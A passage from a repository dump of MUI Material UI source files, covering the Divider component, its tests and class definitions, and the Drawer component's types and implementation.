    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport composeClasses from '@mui/utils/composeClasses';\nimport { styled } from '../zero-styled';\nimport memoTheme from '../utils/memoTheme';\nimport { useDefaultProps } from '../DefaultPropsProvider';\nimport { getDividerUtilityClass } from './dividerClasses';\n\nconst useUtilityClasses = (ownerState) => {\n  const { absolute, children, classes, flexItem, orientation, textAlign, variant } = ownerState;\n\n  const slots = {\n    root: [\n      'root',\n      absolute && 'absolute',\n      variant,\n      orientation === 'vertical' && 'vertical',\n      flexItem && 'flexItem',\n      children && 'withChildren',\n      textAlign === 'right' && orientation !== 'vertical' && 'textAlignRight',\n      textAlign === 'left' && orientation !== 'vertical' && 'textAlignLeft',\n    ],\n    wrapper: ['wrapper', orientation === 'vertical' && 'wrapperVertical'],\n  };\n\n  return composeClasses(slots, getDividerUtilityClass, classes);\n};\n\nconst DividerRoot = styled('div', {\n  name: 'MuiDivider',\n  slot: 'Root',\n  overridesResolver: (props, styles) => {\n    const { ownerState } = props;\n\n    return [\n      styles.root,\n      ownerState.absolute && styles.absolute,\n      styles[ownerState.variant],\n      ownerState.orientation === 'vertical' && styles.vertical,\n      ownerState.flexItem && styles.flexItem,\n      ownerState.children && styles.withChildren,\n      ownerState.textAlign === 'right' &&\n        ownerState.orientation !== 'vertical' &&\n        styles.textAlignRight,\n      ownerState.textAlign === 'left' &&\n        ownerState.orientation !== 'vertical' &&\n        styles.textAlignLeft,\n    ];\n  },\n})(\n  memoTheme(({ theme }) => ({\n    margin: 0, // Reset browser default style.\n    flexShrink: 0,\n    borderWidth: 0,\n    borderStyle: 'solid',\n    borderColor: (theme.vars || theme).palette.divider,\n    borderBottomWidth: 'thin',\n    variants: [\n      {\n        props: {\n          absolute: true,\n        },\n        style: {\n          position: 'absolute',\n          bottom: 0,\n          left: 0,\n          width: '100%',\n        },\n      },\n      {\n        props: {\n          variant: 'inset',\n        },\n        style: {\n          marginLeft: 72,\n        },\n      },\n      {\n        props: {\n          variant: 'middle',\n          orientation: 'horizontal',\n        },\n        style: {\n          marginLeft: theme.spacing(2),\n          marginRight: theme.spacing(2),\n        },\n      },\n      {\n        props: {\n          variant: 'middle',\n          orientation: 'vertical',\n        },\n        style: {\n          marginTop: theme.spacing(1),\n          marginBottom: theme.spacing(1),\n        },\n      },\n      {\n        props: {\n          orientation: 'vertical',\n        },\n        style: {\n          height: '100%',\n          borderBottomWidth: 0,\n          borderRightWidth: 'thin',\n        },\n      },\n      {\n        props: {\n          flexItem: true,\n        },\n        style: {\n          alignSelf: 'stretch',\n          height: 'auto',\n        },\n      },\n      {\n        props: ({ ownerState }) => !!ownerState.children,\n        style: {\n          display: 'flex',\n          textAlign: 'center',\n          border: 0,\n          borderTopStyle: 'solid',\n          borderLeftStyle: 'solid',\n          '&::before, &::after': {\n            content: '\"\"',\n            alignSelf: 'center',\n          },\n        },\n      },\n      {\n        props: ({ ownerState }) => ownerState.children && ownerState.orientation !== 'vertical',\n        style: {\n          '&::before, &::after': {\n            width: '100%',\n            borderTop: `thin solid ${(theme.vars || theme).palette.divider}`,\n            borderTopStyle: 'inherit',\n          },\n        },\n      },\n      {\n        props: ({ ownerState }) => ownerState.orientation === 'vertical' && ownerState.children,\n        style: {\n          flexDirection: 'column',\n          '&::before, &::after': {\n            height: '100%',\n            borderLeft: `thin solid ${(theme.vars || theme).palette.divider}`,\n            borderLeftStyle: 'inherit',\n          },\n        },\n      },\n      {\n        props: ({ ownerState }) =>\n          ownerState.textAlign === 'right' && ownerState.orientation !== 'vertical',\n        style: {\n          '&::before': {\n            width: '90%',\n          },\n          '&::after': {\n            width: '10%',\n          },\n        },\n      },\n      {\n        props: ({ ownerState }) =>\n          ownerState.textAlign === 'left' && ownerState.orientation !== 'vertical',\n        style: {\n          '&::before': {\n            width: '10%',\n          },\n          '&::after': {\n            width: '90%',\n          },\n        },\n      },\n    ],\n  })),\n);\n\nconst DividerWrapper = styled('span', {\n  name: 'MuiDivider',\n  slot: 'Wrapper',\n  overridesResolver: (props, styles) => {\n    const { ownerState } = props;\n\n    return [styles.wrapper, ownerState.orientation === 'vertical' && styles.wrapperVertical];\n  },\n})(\n  memoTheme(({ theme }) => ({\n    display: 'inline-block',\n    paddingLeft: `calc(${theme.spacing(1)} * 1.2)`,\n    paddingRight: `calc(${theme.spacing(1)} * 1.2)`,\n    whiteSpace: 'nowrap',\n    variants: [\n      {\n        props: {\n          orientation: 'vertical',\n        },\n        style: {\n          paddingTop: `calc(${theme.spacing(1)} * 1.2)`,\n          paddingBottom: `calc(${theme.spacing(1)} * 1.2)`,\n        },\n      },\n    ],\n  })),\n);\n\nconst Divider = React.forwardRef(function Divider(inProps, ref) {\n  const props = useDefaultProps({ props: inProps, name: 'MuiDivider' });\n  const {\n    absolute = false,\n    children,\n    className,\n    orientation = 'horizontal',\n    component = children || orientation === 'vertical' ? 'div' : 'hr',\n    flexItem = false,\n    role = component !== 'hr' ? 'separator' : undefined,\n    textAlign = 'center',\n    variant = 'fullWidth',\n    ...other\n  } = props;\n\n  const ownerState = {\n    ...props,\n    absolute,\n    component,\n    flexItem,\n    orientation,\n    role,\n    textAlign,\n    variant,\n  };\n\n  const classes = useUtilityClasses(ownerState);\n\n  return (\n    <DividerRoot\n      as={component}\n      className={clsx(classes.root, className)}\n      role={role}\n      ref={ref}\n      ownerState={ownerState}\n      aria-orientation={\n        role === 'separator' && (component !== 'hr' || orientation === 'vertical')\n          ? orientation\n          : undefined\n      }\n      {...other}\n    >\n      {children ? (\n        <DividerWrapper className={classes.wrapper} ownerState={ownerState}>\n          {children}\n        </DividerWrapper>\n      ) : null}\n    </DividerRoot>\n  );\n});\n\n/**\n * The following flag is used to ensure that this component isn't tabbable i.e.\n * does not get highlight/focus inside of MUI List.\n */\nif (Divider) {\n  Divider.muiSkipListHighlight = true;\n}\n\nDivider.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * Absolutely position the element.\n   * @default false\n   */\n  absolute: PropTypes.bool,\n  /**\n   * The content of the component.\n   */\n  children: PropTypes.node,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * The component used for the root node.\n   * Either a string to use a HTML element or a component.\n   */\n  component: PropTypes.elementType,\n  /**\n   * If `true`, a vertical divider will have the correct height when used in flex container.\n   * (By default, a vertical divider will have a calculated height of `0px` if it is the child of a flex container.)\n   * @default false\n   */\n  flexItem: PropTypes.bool,\n  /**\n   * The component orientation.\n   * @default 'horizontal'\n   */\n  orientation: PropTypes.oneOf(['horizontal', 'vertical']),\n  /**\n   * @ignore\n   */\n  role: PropTypes.string,\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n  /**\n   * The text alignment.\n   * @default 'center'\n   */\n  textAlign: PropTypes.oneOf(['center', 'left', 'right']),\n  /**\n   * The variant to use.\n   * @default 'fullWidth'\n   */\n  variant: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    PropTypes.oneOf(['fullWidth', 'inset', 'middle']),\n    PropTypes.string,\n  ]),\n};\n\nexport default Divider;\n"
  },
  {
    "path": "packages/mui-material/src/Divider/Divider.test.js",
    "content": "import { expect } from 'chai';\nimport { createRenderer, screen, isJsdom } from '@mui/internal-test-utils';\nimport { styled } from '@mui/material/styles';\nimport Divider, { dividerClasses as classes } from '@mui/material/Divider';\nimport describeConformance from '../../test/describeConformance';\n\ndescribe('<Divider />', () => {\n  const { render } = createRenderer();\n\n  describeConformance(<Divider />, () => ({\n    classes,\n    inheritComponent: 'hr',\n    render,\n    muiName: 'MuiDivider',\n    refInstanceof: window.HTMLHRElement,\n    testComponentPropWith: 'div',\n    testVariantProps: { orientation: 'vertical', flexItem: true, textAlign: 'left' },\n  }));\n\n  it('should set the absolute class', () => {\n    const { container } = render(<Divider absolute />);\n    expect(container.firstChild).to.have.class(classes.absolute);\n  });\n\n  it('should set the flexItem class', () => {\n    const { container } = render(<Divider flexItem />);\n    expect(container.firstChild).to.have.class(classes.flexItem);\n  });\n\n  describe('prop: children', () => {\n    it('should render with the children', () => {\n      const text = 'test content';\n      const { container } = render(<Divider>{text}</Divider>);\n      expect(container.querySelectorAll('span').length).to.equal(1);\n      expect(container.querySelectorAll('span')[0].textContent).to.equal(text);\n    });\n\n    it('should set the default text class', () => {\n      const { container } = render(<Divider>content</Divider>);\n      expect(container.firstChild).to.have.class(classes.withChildren);\n    });\n\n    describe('prop: orientation', () => {\n      it('should set the textVertical class', () => {\n        const { container } = render(<Divider orientation=\"vertical\">content</Divider>);\n        expect(container.querySelectorAll(`.${classes.withChildren}`).length).to.equal(1);\n        expect(container.querySelectorAll(`.${classes.vertical}`).length).to.equal(1);\n        expect(container.querySelectorAll(`.${classes.wrapperVertical}`).length).to.equal(1);\n      });\n    });\n\n    describe('prop: textAlign', () => {\n      it('should set the textAlignRight class', () => {\n        const { container } = render(<Divider textAlign=\"right\">content</Divider>);\n        expect(container.querySelectorAll(`.${classes.textAlignRight}`).length).to.equal(1);\n      });\n\n      it('should set the textAlignLeft class', () => {\n        const { container } = render(<Divider textAlign=\"left\">content</Divider>);\n        expect(container.querySelectorAll(`.${classes.textAlignLeft}`).length).to.equal(1);\n      });\n\n      it('should not set the textAlignRight class if orientation=\"vertical\"', () => {\n        const { container } = render(\n          <Divider textAlign=\"right\" orientation=\"vertical\">\n            content\n          </Divider>,\n        );\n        expect(container.querySelectorAll(`.${classes.textAlignRight}`).length).to.equal(0);\n      });\n\n      it('should not set the textAlignLeft class if orientation=\"vertical\"', () => {\n        const { container } = render(\n          <Divider textAlign=\"left\" orientation=\"vertical\">\n            content\n          </Divider>,\n        );\n        expect(container.querySelectorAll(`.${classes.textAlignLeft}`).length).to.equal(0);\n      });\n    });\n\n    describe.skipIf(isJsdom())('custom border style', function test() {\n      const StyledDivider = styled(Divider)(() => ({\n        borderStyle: 'dashed',\n      }));\n\n      it('should set the dashed border-left-style in before and after pseudo-elements when orientation is vertical', () => {\n        const { container } = render(<StyledDivider orientation=\"vertical\">content</StyledDivider>);\n        expect(\n          getComputedStyle(container.firstChild, '::before').getPropertyValue('border-left-style'),\n        ).to.equal('dashed');\n        expect(\n          getComputedStyle(container.firstChild, '::after').getPropertyValue('border-left-style'),\n        ).to.equal('dashed');\n      });\n\n      it('should set the dashed border-top-style in before and after pseudo-elements when orientation is horizontal', () => {\n        const { container } = render(\n          <StyledDivider orientation=\"horizontal\">content</StyledDivider>,\n        );\n        expect(\n          getComputedStyle(container.firstChild, '::before').getPropertyValue('border-top-style'),\n        ).to.equal('dashed');\n        expect(\n          getComputedStyle(container.firstChild, '::after').getPropertyValue('border-top-style'),\n        ).to.equal('dashed');\n      });\n    });\n  });\n\n  describe('prop: variant', () => {\n    it('should default to variant=\"fullWidth\"', () => {\n      const { container } = render(<Divider />);\n      expect(container.firstChild).not.to.have.class(classes.inset);\n      expect(container.firstChild).not.to.have.class(classes.middle);\n    });\n\n    describe('prop: variant=\"fullWidth\"', () => {\n      it('should render with the root and default class', () => {\n        const { container } = render(<Divider />);\n        expect(container.firstChild).to.have.class(classes.root);\n      });\n    });\n\n    describe('prop: variant=\"inset\"', () => {\n      it('should set the inset class', () => {\n        const { container } = render(<Divider variant=\"inset\" />);\n        expect(container.firstChild).to.have.class(classes.inset);\n      });\n    });\n\n    describe('prop: variant=\"middle\" with default orientation (horizontal)', () => {\n      it('should set the middle class', () => {\n        const { container } = render(<Divider variant=\"middle\" />);\n        expect(container.firstChild).to.have.class(classes.middle);\n        expect(container.firstChild).toHaveComputedStyle({\n          marginLeft: '16px',\n          marginRight: '16px',\n        });\n      });\n    });\n\n    describe('prop: variant=\"middle\" with orientation=\"vertical\"', () => {\n      it('should set the middle class with marginTop & marginBottom styles', () => {\n        const { container } = render(<Divider variant=\"middle\" orientation=\"vertical\" />);\n        expect(container.firstChild).toHaveComputedStyle({\n          marginTop: '8px',\n          marginBottom: '8px',\n        });\n      });\n    });\n  });\n\n  describe('role', () => {\n    it('avoids adding implicit aria semantics', () => {\n      render(<Divider />);\n      expect(screen.getByRole('separator')).not.to.have.attribute('role');\n      expect(screen.getByRole('separator')).not.to.have.attribute('aria-orientation');\n    });\n\n    it('adds a proper role if none is specified', () => {\n      render(<Divider component=\"div\" />);\n      expect(screen.getByRole('separator')).not.to.equal(null);\n      expect(screen.getByRole('separator')).to.have.attribute('aria-orientation');\n    });\n\n    it('adds a proper role with vertical orientation', () => {\n      render(<Divider orientation=\"vertical\" />);\n      expect(screen.getByRole('separator')).not.to.equal(null);\n      expect(screen.getByRole('separator')).to.have.attribute('aria-orientation');\n    });\n\n    it('overrides the computed role with the provided one', () => {\n      // presentation is the only valid aria role\n      render(<Divider role=\"presentation\" data-testid=\"divider\" />);\n      expect(screen.queryByRole('separator')).to.equal(null);\n      expect(screen.getByTestId('divider')).to.have.attribute('role', 'presentation');\n      expect(screen.getByTestId('divider')).not.to.have.attribute('aria-orientation');\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/Divider/dividerClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface DividerClasses {\n  /** Styles applied to the root element. */\n  root: string;\n  /** Styles applied to the root element if `absolute={true}`. */\n  absolute: string;\n  /** Styles applied to the root element if `variant=\"inset\"`. */\n  inset: string;\n  /** Styles applied to the root element if `variant=\"fullWidth\"`. */\n  fullWidth: string;\n  /** Styles applied to the root element if `variant=\"middle\"`. */\n  middle: string;\n  /** Styles applied to the root element if `orientation=\"vertical\"`. */\n  vertical: string;\n  /** Styles applied to the root element if `flexItem={true}`. */\n  flexItem: string;\n  /** Styles applied to the root element if divider have text. */\n  withChildren: string;\n  /** Styles applied to the root element if `textAlign=\"right\" orientation=\"horizontal\"`. */\n  textAlignRight: string;\n  /** Styles applied to the root element if `textAlign=\"left\" orientation=\"horizontal\"`. */\n  textAlignLeft: string;\n  /** Styles applied to the span children element if `orientation=\"horizontal\"`. */\n  wrapper: string;\n  /** Styles applied to the span children element if `orientation=\"vertical\"`. */\n  wrapperVertical: string;\n}\n\nexport type DividerClassKey = keyof DividerClasses;\n\nexport function getDividerUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiDivider', slot);\n}\n\nconst dividerClasses: DividerClasses = generateUtilityClasses('MuiDivider', [\n  'root',\n  'absolute',\n  'fullWidth',\n  'inset',\n  'middle',\n  'flexItem',\n  'vertical',\n  'withChildren',\n  'textAlignRight',\n  'textAlignLeft',\n  'wrapper',\n  'wrapperVertical',\n]);\n\nexport default dividerClasses;\n"
  },
  {
    "path": "packages/mui-material/src/Divider/index.d.ts",
    "content": "export { default } from './Divider';\nexport * from './Divider';\n\nexport { default as dividerClasses } from './dividerClasses';\nexport * from './dividerClasses';\n"
  },
  {
    "path": "packages/mui-material/src/Divider/index.js",
    "content": "export { default } from './Divider';\n\nexport { default as dividerClasses } from './dividerClasses';\nexport * from './dividerClasses';\n"
  },
  {
    "path": "packages/mui-material/src/Drawer/Drawer.d.ts",
    "content": "import * as React from 'react';\nimport { SxProps } from '@mui/system';\nimport { Theme } from '../styles';\nimport { InternalStandardProps as StandardProps } from '../internal';\nimport { CreateSlotsAndSlotProps, SlotProps } from '../utils/types';\nimport { ModalProps } from '../Modal';\nimport { BackdropProps } from '../Backdrop';\nimport { PaperProps } from '../Paper';\nimport { TransitionProps } from '../transitions/transition';\nimport { DrawerClasses } from './drawerClasses';\n\nexport interface DrawerRootSlotPropsOverrides {}\n\nexport interface DrawerDockedSlotPropsOverrides {}\n\nexport interface DrawerPaperSlotPropsOverrides {}\n\nexport interface DrawerTransitionSlotPropsOverrides {}\n\nexport interface DrawerBackdropSlotPropsOverrides {}\n\nexport interface DrawerSlots {\n  /**\n   * The component used for the root when the variant is `temporary`.\n   * @default Modal\n   */\n  root: React.ElementType;\n  /**\n   * The component used for the Modal backdrop.\n   * @default Backdrop\n   */\n  backdrop: React.ElementType;\n  /**\n   * The component used for the root element when the variant is `permanent` or `persistent`.\n   * @default div\n   */\n  docked: React.ElementType;\n  /**\n   * The component used for the paper.\n   * @default Paper\n   */\n  paper: React.ElementType;\n  /**\n   * The component used for the transition.\n   * [Follow this guide](https://mui.com/material-ui/transitions/#transitioncomponent-prop) to learn more about the requirements for this component.\n   * @default Slide\n   */\n  transition: React.ElementType;\n}\n\nexport type DrawerSlotsAndSlotProps = CreateSlotsAndSlotProps<\n  DrawerSlots,\n  {\n    /**\n     * Props forwarded to the root slot.\n     * By default, the available props are based on the [Modal](https://mui.com/material-ui/api/modal/#props) component.\n     */\n    root: SlotProps<React.ElementType<ModalProps>, DrawerRootSlotPropsOverrides, DrawerOwnerState>;\n    /**\n     * Props forwarded to the backdrop slot.\n     * By default, the available props are based on the [Backdrop](https://mui.com/material-ui/api/backdrop/#props) component.\n     */\n    backdrop: SlotProps<\n      React.ElementType<BackdropProps>,\n      DrawerBackdropSlotPropsOverrides,\n      DrawerOwnerState\n    >;\n    /**\n     * Props forwarded to the docked slot.\n     * By default, the available props are based on a div element.\n     */\n    docked: SlotProps<'div', DrawerDockedSlotPropsOverrides, DrawerOwnerState>;\n    /**\n     * Props forwarded to the paper slot.\n     * By default, the available props are based on the [Paper](https://mui.com/material-ui/api/paper/#props) component.\n     */\n    paper: SlotProps<\n      React.ElementType<PaperProps>,\n      DrawerPaperSlotPropsOverrides,\n      DrawerOwnerState\n    >;\n    /**\n     * Props forwarded to the transition slot.\n     * By default, the available props are based on the [Slide](https://mui.com/material-ui/api/slide/#props) component.\n     */\n    transition: SlotProps<\n      React.ElementType<TransitionProps>,\n      TransitionProps & DrawerTransitionSlotPropsOverrides,\n      DrawerOwnerState\n    >;\n  }\n>;\n\nexport interface DrawerProps\n  extends\n    StandardProps<ModalProps, 'open' | 'children' | 'slots' | 'slotProps'>,\n    DrawerSlotsAndSlotProps {\n  /**\n   * Side from which the drawer will appear.\n   * @default 'left'\n   */\n  anchor?: 'left' | 'top' | 'right' | 'bottom' | undefined;\n  /**\n   * The content of the component.\n   */\n  children?: React.ReactNode;\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<DrawerClasses> | undefined;\n  /**\n   * The elevation of the drawer.\n   * @default 16\n   */\n  elevation?: number | undefined;\n  /**\n   * Props applied to the [`Modal`](https://mui.com/material-ui/api/modal/) element.\n   * @default {}\n   */\n  ModalProps?: Partial<ModalProps> | undefined;\n  /**\n   * Callback fired when the component requests to be closed.\n   * The `reason` parameter can optionally be used to control the response to `onClose`.\n   *\n   * @param {object} event The event source of the callback.\n   * @param {string} reason Can be: `\"escapeKeyDown\"`, `\"backdropClick\"`.\n   */\n  onClose?: ModalProps['onClose'] | undefined;\n  /**\n   * If `true`, the component is shown.\n   * @default false\n   */\n  open?: boolean | undefined;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n  /**\n   * The duration for the transition, in milliseconds.\n   * You may specify a single timeout for all transitions, or individually with an object.\n   * @default {\n   *   enter: theme.transitions.duration.enteringScreen,\n   *   exit: theme.transitions.duration.leavingScreen,\n   * }\n   */\n  transitionDuration?: TransitionProps['timeout'] | undefined;\n  /**\n   * The variant to use.\n   * @default 'temporary'\n   */\n  variant?: 'permanent' | 'persistent' | 'temporary' | undefined;\n}\n\n// omit `slots` and `slotProps` to prevent recursion\nexport interface DrawerOwnerState extends Omit<DrawerProps, 'slots' | 'slotProps'> {}\n\n/**\n * The props of the [Modal](https://next.mui.com/material-ui/api/modal/) component are available\n * when `variant=\"temporary\"` is set.\n *\n * Demos:\n *\n * - [Drawer](https://next.mui.com/material-ui/react-drawer/)\n *\n * API:\n *\n * - [Drawer API](https://next.mui.com/material-ui/api/drawer/)\n */\nexport default function Drawer(props: DrawerProps): React.JSX.Element;\n"
  },
  {
    "path": "packages/mui-material/src/Drawer/Drawer.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport integerPropType from '@mui/utils/integerPropType';\nimport composeClasses from '@mui/utils/composeClasses';\nimport { useRtl } from '@mui/system/RtlProvider';\nimport Modal from '../Modal';\nimport Slide from '../Slide';\nimport Paper from '../Paper';\nimport capitalize from '../utils/capitalize';\nimport rootShouldForwardProp from '../styles/rootShouldForwardProp';\nimport { styled, useTheme } from '../zero-styled';\nimport memoTheme from '../utils/memoTheme';\nimport { useDefaultProps } from '../DefaultPropsProvider';\nimport { getDrawerUtilityClass } from './drawerClasses';\nimport useSlot from '../utils/useSlot';\nimport { mergeSlotProps } from '../utils';\n\nconst overridesResolver = (props, styles) => {\n  const { ownerState } = props;\n\n  return [\n    styles.root,\n    (ownerState.variant === 'permanent' || ownerState.variant === 'persistent') && styles.docked,\n    ownerState.variant === 'temporary' && styles.modal,\n  ];\n};\n\nconst useUtilityClasses = (ownerState) => {\n  const { classes, anchor, variant } = ownerState;\n\n  const slots = {\n    root: ['root', `anchor${capitalize(anchor)}`],\n    docked: [(variant === 'permanent' || variant === 'persistent') && 'docked'],\n    modal: ['modal'],\n    paper: ['paper'],\n  };\n\n  return composeClasses(slots, getDrawerUtilityClass, classes);\n};\n\nconst DrawerRoot = styled(Modal, {\n  name: 'MuiDrawer',\n  slot: 'Root',\n  overridesResolver,\n})(\n  memoTheme(({ theme }) => ({\n    zIndex: (theme.vars || theme).zIndex.drawer,\n  })),\n);\n\nconst DrawerDockedRoot = styled('div', {\n  shouldForwardProp: rootShouldForwardProp,\n  name: 'MuiDrawer',\n  slot: 'Docked',\n  skipVariantsResolver: false,\n  overridesResolver,\n})({\n  flex: '0 0 auto',\n});\n\nconst DrawerPaper = styled(Paper, {\n  name: 'MuiDrawer',\n  slot: 'Paper',\n  overridesResolver: (props, styles) => {\n    return [styles.paper];\n  },\n})(\n  memoTheme(({ theme }) => ({\n    overflowY: 'auto',\n    display: 'flex',\n    flexDirection: 'column',\n    height: '100%',\n    flex: '1 0 auto',\n    zIndex: (theme.vars || theme).zIndex.drawer,\n    // Add iOS momentum scrolling for iOS < 13.0\n    WebkitOverflowScrolling: 'touch',\n    // temporary style\n    position: 'fixed',\n    top: 0,\n    // We disable the focus ring for mouse, touch and keyboard users.\n    // At some point, it would be better to keep it for keyboard users.\n    // :focus-ring CSS pseudo-class will help.\n    outline: 0,\n    variants: [\n      {\n        props: {\n          anchor: 'left',\n        },\n        style: {\n          left: 0,\n        },\n      },\n      {\n        props: {\n          anchor: 'top',\n        },\n        style: {\n          top: 0,\n          left: 0,\n          right: 0,\n          height: 'auto',\n          maxHeight: '100%',\n        },\n      },\n      {\n        props: {\n          anchor: 'right',\n        },\n        style: {\n          right: 0,\n        },\n      },\n      {\n        props: {\n          anchor: 'bottom',\n        },\n        style: {\n          top: 'auto',\n          left: 0,\n          bottom: 0,\n          right: 0,\n          height: 'auto',\n          maxHeight: '100%',\n        },\n      },\n      {\n        props: ({ ownerState }) =>\n          ownerState.anchor === 'left' && ownerState.variant !== 'temporary',\n        style: {\n          borderRight: `1px solid ${(theme.vars || theme).palette.divider}`,\n        },\n      },\n      {\n        props: ({ ownerState }) =>\n          ownerState.anchor === 'top' && ownerState.variant !== 'temporary',\n        style: {\n          borderBottom: `1px solid ${(theme.vars || theme).palette.divider}`,\n        },\n      },\n      {\n        props: ({ ownerState }) =>\n          ownerState.anchor === 'right' && ownerState.variant !== 'temporary',\n        style: {\n          borderLeft: `1px solid ${(theme.vars || theme).palette.divider}`,\n        },\n      },\n      {\n        props: ({ ownerState }) =>\n          ownerState.anchor === 'bottom' && ownerState.variant !== 'temporary',\n        style: {\n          borderTop: `1px solid ${(theme.vars || theme).palette.divider}`,\n        },\n      },\n    ],\n  })),\n);\n\nconst oppositeDirection = {\n  left: 'right',\n  right: 'left',\n  top: 'down',\n  bottom: 'up',\n};\n\nexport function isHorizontal(anchor) {\n  return ['left', 'right'].includes(anchor);\n}\n\nexport function getAnchor({ direction }, anchor) {\n  return direction === 'rtl' && isHorizontal(anchor) ? oppositeDirection[anchor] : anchor;\n}\n\n/**\n * The props of the [Modal](/material-ui/api/modal/) component are available\n * when `variant=\"temporary\"` is set.\n */\nconst Drawer = React.forwardRef(function Drawer(inProps, ref) {\n  const props = useDefaultProps({ props: inProps, name: 'MuiDrawer' });\n  const theme = useTheme();\n  const isRtl = useRtl();\n  const defaultTransitionDuration = {\n    enter: theme.transitions.duration.enteringScreen,\n    exit: theme.transitions.duration.leavingScreen,\n  };\n\n  const {\n    anchor: anchorProp = 'left',\n    children,\n    className,\n    elevation = 16,\n    hideBackdrop = false,\n    ModalProps = {},\n    onClose,\n    open = false,\n    transitionDuration = defaultTransitionDuration,\n    variant = 'temporary',\n    slots = {},\n    slotProps = {},\n    ...other\n  } = props;\n\n  // Let's assume that the Drawer will always be rendered on user space.\n  // We use this state is order to skip the appear transition during the\n  // initial mount of the component.\n  const mounted = React.useRef(false);\n  React.useEffect(() => {\n    mounted.current = true;\n  }, []);\n\n  const anchorInvariant = getAnchor({ direction: isRtl ? 'rtl' : 'ltr' }, anchorProp);\n  const anchor = anchorProp;\n\n  const ownerState = {\n    ...props,\n    anchor,\n    elevation,\n    open,\n    variant,\n    ...other,\n  };\n\n  const classes = useUtilityClasses(ownerState);\n\n  const externalForwardedProps = {\n    slots,\n    slotProps: {\n      ...slotProps,\n      backdrop: mergeSlotProps(slotProps.backdrop, {\n        transitionDuration,\n      }),\n    },\n  };\n\n  const [RootSlot, rootSlotProps] = useSlot('root', {\n    ref,\n    elementType: DrawerRoot,\n    className: clsx(classes.root, classes.modal, className),\n    shouldForwardComponentProp: true,\n    ownerState,\n    externalForwardedProps: {\n      ...externalForwardedProps,\n      ...other,\n      ...ModalProps,\n    },\n    additionalProps: {\n      open,\n      onClose,\n      hideBackdrop,\n      slots: {\n        backdrop: externalForwardedProps.slots.backdrop,\n      },\n      slotProps: {\n        backdrop: externalForwardedProps.slotProps.backdrop,\n      },\n    },\n  });\n\n  const [PaperSlot, paperSlotProps] = useSlot('paper', {\n    elementType: DrawerPaper,\n    shouldForwardComponentProp: true,\n    className: classes.paper,\n    ownerState,\n    externalForwardedProps,\n    additionalProps: {\n      elevation: variant === 'temporary' ? elevation : 0,\n      square: true,\n      ...(variant === 'temporary' && {\n        role: 'dialog',\n        'aria-modal': 'true',\n      }),\n    },\n  });\n\n  const [DockedSlot, dockedSlotProps] = useSlot('docked', {\n    elementType: DrawerDockedRoot,\n    ref,\n    className: clsx(classes.root, classes.docked, className),\n    ownerState,\n    externalForwardedProps,\n    additionalProps: other, // pass `other` here because `DockedSlot` is also a root slot for some variants\n  });\n\n  const [TransitionSlot, transitionSlotProps] = useSlot('transition', {\n    elementType: Slide,\n    ownerState,\n    externalForwardedProps,\n    additionalProps: {\n      in: open,\n      direction: oppositeDirection[anchorInvariant],\n      timeout: transitionDuration,\n      appear: mounted.current,\n    },\n  });\n\n  const drawer = <PaperSlot {...paperSlotProps}>{children}</PaperSlot>;\n\n  if (variant === 'permanent') {\n    return <DockedSlot {...dockedSlotProps}>{drawer}</DockedSlot>;\n  }\n\n  const slidingDrawer = <TransitionSlot {...transitionSlotProps}>{drawer}</TransitionSlot>;\n\n  if (variant === 'persistent') {\n    return <DockedSlot {...dockedSlotProps}>{slidingDrawer}</DockedSlot>;\n  }\n\n  // variant === temporary\n  return <RootSlot {...rootSlotProps}>{slidingDrawer}</RootSlot>;\n});\n\nDrawer.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * Side from which the drawer will appear.\n   * @default 'left'\n   */\n  anchor: PropTypes.oneOf(['bottom', 'left', 'right', 'top']),\n  /**\n   * The content of the component.\n   */\n  children: PropTypes.node,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * The elevation of the drawer.\n   * @default 16\n   */\n  elevation: integerPropType,\n  /**\n   * If `true`, the backdrop is not rendered.\n   * @default false\n   */\n  hideBackdrop: PropTypes.bool,\n  /**\n   * Props applied to the [`Modal`](https://mui.com/material-ui/api/modal/) element.\n   * @default {}\n   */\n  ModalProps: PropTypes.object,\n  /**\n   * Callback fired when the component requests to be closed.\n   * The `reason` parameter can optionally be used to control the response to `onClose`.\n   *\n   * @param {object} event The event source of the callback.\n   * @param {string} reason Can be: `\"escapeKeyDown\"`, `\"backdropClick\"`.\n   */\n  onClose: PropTypes.func,\n  /**\n   * If `true`, the component is shown.\n   * @default false\n   */\n  open: PropTypes.bool,\n  /**\n   * The props used for each slot inside.\n   * @default {}\n   */\n  slotProps: PropTypes.shape({\n    backdrop: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n    docked: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n    paper: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n    root: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n    transition: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n  }),\n  